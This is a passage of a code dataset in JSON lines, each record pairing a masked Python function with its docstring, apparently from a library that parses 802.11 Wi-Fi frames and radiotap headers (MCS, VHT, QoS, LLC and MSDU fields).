{"signature": "def strip_data_retries(self, idx):", "body": "data_retries, = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>return idx + <NUM_LIT:1>, data_retries<EOL>", "docstring": "strip(1 byte) data_retries\n        :idx: int\n        :return: int\n            idx\n        :return: int", "id": "f1089:c1:m22"}
{"signature": "def strip_xchannel(self, idx):", "body": "xchannel = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>flags = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>flag_val, freq, channel, max_power = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>xchannel.freq = freq<EOL>xchannel.channel = channel<EOL>xchannel.max_power = max_power<EOL>bits = format(flag_val, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>flags.turbo = int(bits[<NUM_LIT:4>])<EOL>flags.cck = int(bits[<NUM_LIT:5>])<EOL>flags.ofdm = int(bits[<NUM_LIT:6>])<EOL>flags.two_g = int(bits[<NUM_LIT:7>])<EOL>flags.five_g = int(bits[<NUM_LIT:8>])<EOL>flags.passive = int(bits[<NUM_LIT:9>])<EOL>flags.dynamic = int(bits[<NUM_LIT:10>])<EOL>flags.gfsk = int(bits[<NUM_LIT:11>])<EOL>flags.gsm = int(bits[<NUM_LIT:12>])<EOL>flags.sturbo = int(bits[<NUM_LIT>])<EOL>flags.half = int(bits[<NUM_LIT>])<EOL>flags.quarter = int(bits[<NUM_LIT:15>])<EOL>flags.ht_20 = int(bits[<NUM_LIT:16>])<EOL>flags.ht_40u = int(bits[<NUM_LIT>])<EOL>flags.ht_40d = int(bits[<NUM_LIT>])<EOL>xchannel.flags = flags<EOL>return idx + <NUM_LIT:8>, xchannel<EOL>", "docstring": "strip(7 bytes) radiotap.xchannel.channel(1 byte),\n        radiotap.xchannel.freq(2 bytes) and radiotap.xchannel.flags(4 bytes)\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m23"}
{"signature": "def strip_mcs(self, idx):", "body": "mcs = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT:index>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:1>)<EOL>known, flags, index = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>bits = format(flags, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>mcs.known = known               <EOL>mcs.index = index               <EOL>mcs.have_bw = int(bits[<NUM_LIT:0>])      <EOL>mcs.have_mcs = int(bits[<NUM_LIT:1>])     <EOL>mcs.have_gi = int(bits[<NUM_LIT:2>])      <EOL>mcs.have_format = int(bits[<NUM_LIT:3>])  <EOL>mcs.have_fec = int(bits[<NUM_LIT:4>])     <EOL>mcs.have_stbc = int(bits[<NUM_LIT:5>])    <EOL>mcs.have_ness = int(bits[<NUM_LIT:6>])    <EOL>mcs.ness_bit1 = int(bits[<NUM_LIT:7>])    <EOL>return idx + <NUM_LIT:3>, mcs<EOL>", "docstring": "strip(3 byte) radiotap.mcs which contains 802.11n bandwidth,\n        mcs(modulation and coding scheme) and stbc(space time block coding)\n        information.\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m24"}
{"signature": "def strip_ampdu(self, idx):", "body": "ampdu = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>flags = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:4>)<EOL>refnum, flag_vals, crc_val, reserved = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>ampdu.flags = flags<EOL>ampdu.reference = refnum<EOL>ampdu.crc_val = crc_val<EOL>ampdu.reserved = reserved<EOL>bits = format(flag_vals, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>ampdu.flags.report_zerolen = int(bits[<NUM_LIT:0>])<EOL>ampdu.flags.is_zerolen = int(bits[<NUM_LIT:1>])<EOL>ampdu.flags.lastknown = int(bits[<NUM_LIT:2>])<EOL>ampdu.flags.last = int(bits[<NUM_LIT:3>])<EOL>ampdu.flags.delim_crc_error = int(bits[<NUM_LIT:4>])<EOL>return idx + <NUM_LIT:8>, ampdu<EOL>", "docstring": "strip(8 byte) radiotap.ampdu\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m25"}
{"signature": "def strip_vht(self, idx):", "body": "vht = collections.namedtuple(<EOL>'<STR_LIT>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>user = collections.namedtuple('<STR_LIT:user>', ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>idx = Radiotap.align(idx, <NUM_LIT:2>)<EOL>known, flags, bw = struct.unpack_from('<STR_LIT>', self._rtap, idx)<EOL>mcs_nss_0, mcs_nss_1, mcs_nss_2, mcs_nss_3 = struct.unpack_from('<STR_LIT>', self._rtap, idx + <NUM_LIT:4>)<EOL>coding, group_id, partial_id = struct.unpack_from('<STR_LIT>', self._rtap, idx + <NUM_LIT:8>)<EOL>known_bits = format(known, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>vht.known_bits = known_bits<EOL>vht.have_stbc = int(known_bits[<NUM_LIT:0>])         <EOL>vht.have_txop_ps = int(known_bits[<NUM_LIT:1>])      <EOL>vht.have_gi = int(known_bits[<NUM_LIT:2>])           <EOL>vht.have_sgi_nsym_da = int(known_bits[<NUM_LIT:3>])  <EOL>vht.have_ldpc_extra = int(known_bits[<NUM_LIT:4>])   <EOL>vht.have_beamformed = int(known_bits[<NUM_LIT:5>])   <EOL>vht.have_bw = int(known_bits[<NUM_LIT:6>])           <EOL>vht.have_gid = int(known_bits[<NUM_LIT:7>])          <EOL>vht.have_paid = int(known_bits[<NUM_LIT:8>])         <EOL>flag_bits = format(flags, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>vht.flag_bits = flag_bits<EOL>vht.stbc = int(flag_bits[<NUM_LIT:0>])<EOL>vht.txop_ps = int(flag_bits[<NUM_LIT:1>])<EOL>vht.gi = int(flag_bits[<NUM_LIT:2>])<EOL>vht.sgi_nysm_da = int(flag_bits[<NUM_LIT:3>])<EOL>vht.ldpc_extra = int(flag_bits[<NUM_LIT:4>])<EOL>vht.beamformed = int(flag_bits[<NUM_LIT:5>])<EOL>vht.group_id = group_id<EOL>vht.partial_id = partial_id<EOL>vht.bw = bw<EOL>vht.user_0 = user(None, None, None)<EOL>vht.user_1 = user(None, None, None)<EOL>vht.user_2 = user(None, None, None)<EOL>vht.user_3 = user(None, None, None)<EOL>for (i, mcs_nss) in enumerate([mcs_nss_0, mcs_nss_1, mcs_nss_2, mcs_nss_3]):<EOL><INDENT>if mcs_nss:<EOL><INDENT>nss = mcs_nss & <NUM_LIT> >> <NUM_LIT:4><EOL>mcs = (mcs_nss & <NUM_LIT>) >> <NUM_LIT:4><EOL>coding = (coding & <NUM_LIT:2>**i) >> i<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>vht.user_0 = user(nss, mcs, coding)<EOL><DEDENT>elif i == <NUM_LIT:1>:<EOL><INDENT>vht.user_1 = user(nss, mcs, coding)<EOL><DEDENT>elif i == <NUM_LIT:2>:<EOL><INDENT>vht.user_2 = user(nss, mcs, coding)<EOL><DEDENT>elif i == <NUM_LIT:3>:<EOL><INDENT>vht.user_3 = user(nss, mcs, coding)<EOL><DEDENT><DEDENT><DEDENT>return idx + <NUM_LIT:12>, vht<EOL>", "docstring": "strip(12 byte) radiotap.vht\n        :idx: int\n        :return: int\n            idx\n        :return: collections.namedtuple", "id": "f1089:c1:m26"}
{"signature": "def extract_protocol(self):", "body": "if self.present.mcs:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if self.present.vht:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if self.present.channel and hasattr(self, '<STR_LIT>'):<EOL><INDENT>if self.chan.five_g:<EOL><INDENT>if self.chan.ofdm:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>elif self.chan.two_g:<EOL><INDENT>if self.chan.cck:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>elif self.chan.ofdm or self.chan.dynamic:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT:None>'<EOL>", "docstring": "extract 802.11 protocol from radiotap.channel.flags\n        :return: str\n            protocol name\n            one of below in success\n            [.11a, .11b, .11g, .11n, .11ac]\n            None in fail", "id": "f1089:c1:m27"}
{"signature": "@staticmethod<EOL><INDENT>def align(val, align):<DEDENT>", "body": "return (val + align - <NUM_LIT:1>) & ~(align - <NUM_LIT:1>)<EOL>", "docstring": ":val: int\n:align: int\n:return: int", "id": "f1089:c1:m28"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "super(Wifi, self).__init__()<EOL>self._raw = {}<EOL>if not no_rtap:<EOL><INDENT>rtap_bytes, self._packet = WiHelper._strip_rtap(frame)<EOL>self.radiotap = Radiotap(rtap_bytes)<EOL><DEDENT>else:<EOL><INDENT>self._packet = frame<EOL>self.radiotap = None<EOL><DEDENT>f_cntrl = struct.unpack('<STR_LIT>', self._packet[:<NUM_LIT:2>])  <EOL>flags = f_cntrl[<NUM_LIT:1>]<EOL>self.vers = f_cntrl[<NUM_LIT:0>] & <NUM_LIT><EOL>self.category = (f_cntrl[<NUM_LIT:0>] >> <NUM_LIT:2>) & <NUM_LIT><EOL>self.subtype = f_cntrl[<NUM_LIT:0>] >> <NUM_LIT:4><EOL>flag_bits = format(flags, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>self.to_ds = int(flag_bits[<NUM_LIT:0>])<EOL>self.from_ds = int(flag_bits[<NUM_LIT:1>])<EOL>self.ds = b'<STR_LIT>'.join([(flag_bits[<NUM_LIT:0>]).encode('<STR_LIT:ascii>'),<EOL>(flag_bits[<NUM_LIT:1>]).encode('<STR_LIT:ascii>')])<EOL>self.frag = int(flag_bits[<NUM_LIT:2>])<EOL>self.retry = int(flag_bits[<NUM_LIT:3>])<EOL>self.power_mgmt = int(flag_bits[<NUM_LIT:4>])<EOL>self.more_data = int(flag_bits[<NUM_LIT:5>])<EOL>self.wep = int(flag_bits[<NUM_LIT:6>])<EOL>self.order = int(flag_bits[<NUM_LIT:7>])<EOL>self.duration = struct.unpack('<STR_LIT:H>', self._packet[<NUM_LIT:2>:<NUM_LIT:4>])[<NUM_LIT:0>]  <EOL>self.name = None<EOL>if self.category == <NUM_LIT:0>:<EOL><INDENT>if self.subtype in _SUBTYPES_[<NUM_LIT:0>].keys():<EOL><INDENT>self.name = _SUBTYPES_[<NUM_LIT:0>][self.subtype].encode('<STR_LIT:ascii>')<EOL><DEDENT><DEDENT>elif self.category == <NUM_LIT:1>:<EOL><INDENT>if self.subtype in _SUBTYPES_[<NUM_LIT:1>].keys():<EOL><INDENT>self.name = _SUBTYPES_[<NUM_LIT:1>][self.subtype].encode('<STR_LIT:ascii>')<EOL><DEDENT><DEDENT>elif self.category == <NUM_LIT:2>:<EOL><INDENT>if self.subtype in _SUBTYPES_[<NUM_LIT:2>].keys():<EOL><INDENT>self.name = _SUBTYPES_[<NUM_LIT:2>][self.subtype].encode('<STR_LIT:ascii>')<EOL><DEDENT><DEDENT>", "docstring": "Constructor method.\n        Parse common headers of all Wi-Fi frames.\n        :frame: ctypes.Structure", "id": "f1089:c2:m0"}
{"signature": "def get_shark_field(self, fields):", "body": "keys, exist, out = None, {}, None<EOL>if isinstance(fields, str):<EOL><INDENT>fields = [fields]<EOL><DEDENT>elif not isinstance(fields, list):<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return None<EOL><DEDENT>out = dict.fromkeys(fields)<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>exist.update(self._shark_)<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>exist.update(self._s_shark_)<EOL><DEDENT>if hasattr(self.radiotap, '<STR_LIT>'):<EOL><INDENT>exist.update(self.radiotap._r_shark_)<EOL><DEDENT>keys = exist.keys()<EOL>for elem in fields:<EOL><INDENT>if elem in keys:<EOL><INDENT>obj_field, tmp = exist[elem], None<EOL>try:<EOL><INDENT>tmp = operator.attrgetter(obj_field)(self)<EOL><DEDENT>except AttributeError:<EOL><INDENT>tmp = None<EOL><DEDENT>if not tmp:<EOL><INDENT>try:<EOL><INDENT>tmp = operator.attrgetter(obj_field)(self.radiotap)<EOL><DEDENT>except AttributeError:<EOL><INDENT>tmp = None<EOL><DEDENT><DEDENT>out[elem] = tmp<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "get parameters via wireshark syntax.\n        out = x.get_shark_field('wlan.fc.type')\n        out = x.get_shark_field(['wlan.fc.type', 'wlan.seq'])\n        :fields: str or str[]\n        :return: dict\n            out[fields[0]] = val[0] or None\n            out[fields[1]] = val[1] or None ...", "id": "f1089:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_mac_addr(mac_addr):<DEDENT>", "body": "mac_addr = bytearray(mac_addr)<EOL>mac = b'<STR_LIT::>'.join([('<STR_LIT>' % o).encode('<STR_LIT:ascii>') for o in mac_addr])<EOL>return mac<EOL>", "docstring": "converts bytes to mac addr format\n        :mac_addr: ctypes.structure\n        :return: str\n            mac addr in format\n            11:22:33:aa:bb:cc", "id": "f1089:c2:m2"}
{"signature": "def get_hex_repr(self):", "body": "return hex(self.category * <NUM_LIT:16> + self.subtype)<EOL>", "docstring": "wlan.fc.type_subtype hex representation\n        :return: str", "id": "f1089:c2:m3"}
{"signature": "def strip_mac_addrs(self):", "body": "qos_idx, seq_idx = <NUM_LIT:0>, <NUM_LIT:0><EOL>sa, ta, ra, da, bssid = None, None, None, None, None<EOL>if self.to_ds == <NUM_LIT:1> and self.from_ds == <NUM_LIT:1>:<EOL><INDENT>(ra, ta, da) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT>])<EOL>sa = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT>:<NUM_LIT:30>])[<NUM_LIT:0>]<EOL>qos_idx = <NUM_LIT:30><EOL>seq_idx = <NUM_LIT><EOL><DEDENT>elif self.to_ds == <NUM_LIT:0> and self.from_ds == <NUM_LIT:1>:<EOL><INDENT>(ra, ta, sa) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT>])<EOL>qos_idx = <NUM_LIT><EOL>seq_idx = <NUM_LIT><EOL><DEDENT>elif self.to_ds == <NUM_LIT:1> and self.from_ds == <NUM_LIT:0>:<EOL><INDENT>(ra, ta, da) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT>])<EOL>qos_idx = <NUM_LIT><EOL>seq_idx = <NUM_LIT><EOL><DEDENT>elif self.to_ds == <NUM_LIT:0> and self.from_ds == <NUM_LIT:0>:<EOL><INDENT>(ra, ta, bssid) = struct.unpack('<STR_LIT>', self._packet[<NUM_LIT:4>:<NUM_LIT>])<EOL>qos_idx = <NUM_LIT><EOL>seq_idx = <NUM_LIT><EOL><DEDENT>if ta is not None:<EOL><INDENT>ta = Wifi.get_mac_addr(ta)<EOL><DEDENT>if ra is not None:<EOL><INDENT>ra = Wifi.get_mac_addr(ra)<EOL><DEDENT>if sa is not None:<EOL><INDENT>sa = Wifi.get_mac_addr(sa)<EOL><DEDENT>if da is not None:<EOL><INDENT>da = Wifi.get_mac_addr(da)<EOL><DEDENT>if bssid is not None:<EOL><INDENT>bssid = Wifi.get_mac_addr(bssid)<EOL><DEDENT>return seq_idx, qos_idx, sa, ta, ra, da, bssid<EOL>", "docstring": "strip mac address(each 6 byte) information.\n        (wlan.ta, wlan.ra, wlan.sa, wlan.da)\n        (transmitter, receiver, source, destination)\n        :return: int\n            index of sequence control\n        :return: int\n            index after mac addresses\n        :return: str\n            source address (sa)\n        :return: str\n            transmitter address (ta)\n        :return: str\n            receiver address (ra)\n        :return: str\n            destination address (da)\n        :return: str\n            basic service sed identifier (bssid)", "id": "f1089:c2:m4"}
{"signature": "def strip_seq_cntrl(self, idx):", "body": "seq_cntrl = struct.unpack('<STR_LIT:H>', self._packet[idx:idx + <NUM_LIT:2>])[<NUM_LIT:0>]<EOL>seq_num = seq_cntrl >> <NUM_LIT:4><EOL>frag_num = seq_cntrl & <NUM_LIT><EOL>return seq_num, frag_num<EOL>", "docstring": "strip(2 byte) wlan.seq(12 bit) and wlan.fram(4 bit)\n        number information.\n        :seq_cntrl: ctypes.Structure\n        :return: int\n            sequence number\n        :return: int\n            fragment number", "id": "f1089:c2:m5"}
{"signature": "def __repr__(self, show_rfields=True):", "body": "out_str = '<STR_LIT>'<EOL>all_fields = []<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>all_fields += self._fields_<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>all_fields += self._sfields_<EOL><DEDENT>if all_fields:<EOL><INDENT>for elem in all_fields:<EOL><INDENT>key = elem[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>val = operator.attrgetter(key)(self)<EOL><DEDENT>except Exception:<EOL><INDENT>val = None<EOL><DEDENT>if isinstance(val, list):<EOL><INDENT>if val:<EOL><INDENT>out_str += \"<STR_LIT>\".format(key, type(val[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>out_str += \"<STR_LIT>\".format(str(key))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>out_str += \"<STR_LIT>\".format(str(key), str(val))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return None<EOL><DEDENT>if show_rfields and hasattr(self.radiotap, '<STR_LIT>'):<EOL><INDENT>for elem in self.radiotap._rfields_:<EOL><INDENT>key = elem[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>val = operator.attrgetter(key)(self.radiotap)<EOL><DEDENT>except Exception:<EOL><INDENT>val = None<EOL><DEDENT>if val is not None:<EOL><INDENT>out_str += \"<STR_LIT>\".format(key, val)<EOL><DEDENT><DEDENT><DEDENT>return out_str<EOL>", "docstring": ":show_rfields: bool\n    whether to show radiotap fields too.", "id": "f1089:c2:m6"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Wifi.__init__(self, frame, no_rtap)<EOL>", "docstring": "Constructor method.\n        :packet: ctypes.Structure\n        :no_rtap: Bool\n            shall parse radiotap headers", "id": "f1089:c3:m0"}
{"signature": "def __init__(self, frame, no_rtap=False, parse_amsdu=True):", "body": "Data.__init__(self, frame, no_rtap)<EOL>idx = <NUM_LIT:0><EOL>self.sa = self.ta = self.ra = self.da = None<EOL>self.seq_num = self.frag_num = None<EOL>self.qos_pri = self.qos_bit = self.qos_ack = None<EOL>self.ccmp_extiv = None<EOL>self.payload = []<EOL>seq_idx, qos_idx, self.sa, self.ta, self.ra, self.da, _ = self.strip_mac_addrs()<EOL>self.seq_num, self.frag_num = self.strip_seq_cntrl(seq_idx)<EOL>idx = qos_idx<EOL>incr, self.qos_pri, self.qos_bit, self.qos_ack, self.amsdupresent =self.strip_qos_cntrl(idx, self.radiotap.prot_type)<EOL>idx += incr<EOL>if self.wep == <NUM_LIT:1>:<EOL><INDENT>incr, self.ccmp_extiv = self.strip_ccmp(idx)<EOL>idx += incr<EOL><DEDENT>if parse_amsdu:<EOL><INDENT>if self.amsdupresent != <NUM_LIT:0> and self.wep == <NUM_LIT:0>:<EOL><INDENT>while idx < len(self._packet):<EOL><INDENT>msdu, offset = self.strip_msdu(idx)<EOL>self.payload.append(msdu)<EOL>idx += offset<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.wep == <NUM_LIT:0>:<EOL><INDENT>msdu = {}<EOL>offset, llc = self.strip_llc(idx)<EOL>msdu['<STR_LIT>'] = llc<EOL>msdu['<STR_LIT>'] = self._packet[idx + offset:]<EOL>self.payload.append(msdu)<EOL><DEDENT>else:<EOL><INDENT>self.payload.append({'<STR_LIT>': self._packet[idx:]})<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Constructor method.\n        :frame: ctypes.Structure\n        :parse_amsdu: Bool\n            shall parse aggregated mac service data unit", "id": "f1089:c4:m0"}
{"signature": "def strip_qos_cntrl(self, idx, prot_type):", "body": "qos_cntrl, = struct.unpack('<STR_LIT:H>', self._packet[idx:idx + <NUM_LIT:2>])<EOL>qos_cntrl_bits = format(qos_cntrl, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>qos_pri = qos_cntrl & <NUM_LIT><EOL>qos_bit = int(qos_cntrl_bits[<NUM_LIT:5>])<EOL>qos_ack = int(qos_cntrl_bits[<NUM_LIT:6>:<NUM_LIT:8>], <NUM_LIT:2>)<EOL>amsdupresent = <NUM_LIT:0><EOL>if prot_type == '<STR_LIT>':<EOL><INDENT>amsdupresent = int(qos_cntrl_bits[<NUM_LIT:7>])<EOL><DEDENT>return <NUM_LIT:2>, qos_pri, qos_bit, qos_ack, amsdupresent<EOL>", "docstring": "strip(2 byte) wlan.qos\n        :idx: int\n        :prot_type: string\n            802.11 protocol type(.11ac, .11a, .11n, etc)\n        :return: int\n            number of processed bytes\n        :return: int\n            qos priority\n        :return: int\n            qos bit\n        :return: int\n            qos acknowledgement\n        :return: int\n            amsdupresent(aggregated mac service data unit)", "id": "f1089:c4:m1"}
{"signature": "def strip_ccmp(self, idx):", "body": "ccmp_extiv = None<EOL>if len(self._packet[idx:]) >= <NUM_LIT:8>:<EOL><INDENT>raw_bytes = self._packet[idx:idx + <NUM_LIT:8>]<EOL>ccmp_extiv, = struct.unpack_from('<STR_LIT>', raw_bytes, <NUM_LIT:0>)<EOL><DEDENT>return <NUM_LIT:8>, ccmp_extiv<EOL>", "docstring": "strip(8 byte) wlan.ccmp.extiv\n        CCMP Extended Initialization Vector\n        :return: int\n            number of processed bytes\n        :return: ctypes.raw\n            ccmp vector", "id": "f1089:c4:m2"}
{"signature": "def strip_msdu(self, idx):", "body": "<EOL>padding = <NUM_LIT:0><EOL>len_payload = <NUM_LIT:0><EOL>msdu = {<EOL>'<STR_LIT>': {},<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0><EOL>}<EOL>(da_mac, sa_mac) = struct.unpack('<STR_LIT>', self._packet[idx:idx + <NUM_LIT:12>])<EOL>msdu['<STR_LIT>'] = Wifi.get_mac_addr(da_mac)<EOL>msdu['<STR_LIT>'] = Wifi.get_mac_addr(sa_mac)<EOL>idx += <NUM_LIT:12><EOL>msdu['<STR_LIT>'] = struct.unpack('<STR_LIT>', self._packet[idx:idx + <NUM_LIT:2>])[<NUM_LIT:0>]<EOL>idx += <NUM_LIT:2><EOL>offset, msdu['<STR_LIT>'] = self.strip_llc(idx)<EOL>idx += offset<EOL>len_payload = msdu['<STR_LIT>'] - offset<EOL>msdu['<STR_LIT>'] = self._packet[idx:idx + len_payload]<EOL>padding = <NUM_LIT:4> - (len_payload % <NUM_LIT:4>)<EOL>return msdu, msdu['<STR_LIT>'] + padding + <NUM_LIT:12><EOL>", "docstring": "strip single mac servis data unit(msdu)\n        see -> https://mrncciew.com/2014/11/01/cwap-802-11-data-frame-aggregation/\n        :idx: int\n        :return: dict\n            msdu\n        :return: int\n            number of processed bytes", "id": "f1089:c4:m3"}
{"signature": "def strip_llc(self, idx):", "body": "llc = {}<EOL>snap = <NUM_LIT><EOL>llc_dsap = struct.unpack('<STR_LIT:B>', self._packet[idx:idx + <NUM_LIT:1>])[<NUM_LIT:0>]<EOL>llc['<STR_LIT>'] = llc_dsap >> <NUM_LIT:1><EOL>llc['<STR_LIT>'] = llc_dsap & <NUM_LIT><EOL>idx += <NUM_LIT:1><EOL>llc_ssap = struct.unpack('<STR_LIT:B>', self._packet[idx:idx + <NUM_LIT:1>])[<NUM_LIT:0>]<EOL>llc['<STR_LIT>'] = llc_ssap >> <NUM_LIT:1><EOL>llc['<STR_LIT>'] = llc_ssap & <NUM_LIT><EOL>idx += <NUM_LIT:1><EOL>if llc_dsap == snap and llc_ssap == snap:<EOL><INDENT>llc_control = struct.unpack('<STR_LIT:B>', self._packet[idx:idx + <NUM_LIT:1>])[<NUM_LIT:0>]<EOL>llc['<STR_LIT>'] = llc_control >> <NUM_LIT:2><EOL>llc['<STR_LIT>'] = llc_control & <NUM_LIT><EOL>idx += <NUM_LIT:1><EOL>llc['<STR_LIT>'] = self._packet[idx:idx + <NUM_LIT:3>]<EOL>idx += <NUM_LIT:3><EOL>llc['<STR_LIT:type>'] = self._packet[idx:idx + <NUM_LIT:2>]<EOL>return <NUM_LIT:8>, llc<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:4>, llc<EOL><DEDENT>", "docstring": "strip(4 or 8 byte) logical link control headers\n        :return: int\n            number of processed bytes\n        :return: dict\n            llc information\n        see -> http://www.wildpackets.com/resources/compendium/ethernet/frame_snap_iee8023\n        ABBRVS.\n        ssap: source service access point\n        dsap: destination service access point\n        SNAP(Subnetwork Acess Protocol)", "id": "f1089:c4:m4"}
{"signature": "def __init__(self, frame, no_rtap=False):", "body": "Wifi.__init__(self, frame, no_rtap)<EOL>self.tagged_params = []<EOL>self._raw_tagged_params = None<EOL>self.timestamp = None<EOL>self.interval = None<EOL>self.fixed_capabils = None<EOL>", "docstring": "Constructor Method\n        :frame: ctypes.Structure\n        :subtype: int", "id": "f1089:c5:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse_tagged_params(raw_tagged_params):<DEDENT>", "body": "fcs_len = <NUM_LIT:4>  <EOL>idx = <NUM_LIT:0><EOL>tagged_params = []<EOL>while idx < len(raw_tagged_params) - fcs_len:<EOL><INDENT>tag_num, tag_len = struct.unpack('<STR_LIT>', raw_tagged_params[idx:idx + <NUM_LIT:2>])<EOL>idx += <NUM_LIT:2><EOL>if len(raw_tagged_params) >= idx + tag_len:<EOL><INDENT>param = {}<EOL>param['<STR_LIT>'], param['<STR_LIT>'] = tag_num, tag_len<EOL>payload = raw_tagged_params[idx:idx + tag_len]<EOL>if tag_num in MNGMT_TAGS:<EOL><INDENT>param['<STR_LIT:name>'] = MNGMT_TAGS[tag_num]<EOL>if MNGMT_TAGS[tag_num] == '<STR_LIT>':<EOL><INDENT>param['<STR_LIT>'] = Management.parse_vendor_ie(payload)<EOL><DEDENT>else:<EOL><INDENT>param['<STR_LIT>'] = payload<EOL><DEDENT><DEDENT>else:<EOL><INDENT>param['<STR_LIT:name>'] = None<EOL><DEDENT>tagged_params.append(param)<EOL>idx += tag_len<EOL><DEDENT>else:<EOL><INDENT>logging.warning('<STR_LIT>')<EOL>log_msg = '<STR_LIT>'<EOL>log_msg = log_msg.format(p_idx=idx + tag_len,<EOL>p_len=len(raw_tagged_params))<EOL>logging.warning(log_msg)<EOL>return <NUM_LIT:1>, tagged_params<EOL><DEDENT><DEDENT>return <NUM_LIT:0>, tagged_params<EOL>", "docstring": "strip tagged information elements wlan_mgt.tag\n        which has generic type-length-value structure\n        [type, length, value]\n        type(1 byte), length(1 byte), value(varies)\n        [wlan_mgt.tag.number, wlan_mgt.tag.length, payload]\n        structured fields.\n        :return: dict[]\n            list of tagged params\n        :return: int\n            0 in succ, 1 for", "id": "f1089:c5:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_fixed_capabils(payload):<DEDENT>", "body": "if len(payload) != <NUM_LIT:2>:<EOL><INDENT>return None<EOL><DEDENT>capabils = {}<EOL>fix_cap = struct.unpack('<STR_LIT:H>', payload)[<NUM_LIT:0>]<EOL>cap_bits = format(fix_cap, '<STR_LIT>')[::-<NUM_LIT:1>]<EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:0>])             <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:1>])            <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:4>])            <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:5>])  <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:6>])            <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:7>])    <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:8>])        <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:10>])     <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:11>])           <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT:12>])     <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT>])       <EOL>capabils['<STR_LIT>'] = int(cap_bits[<NUM_LIT>])       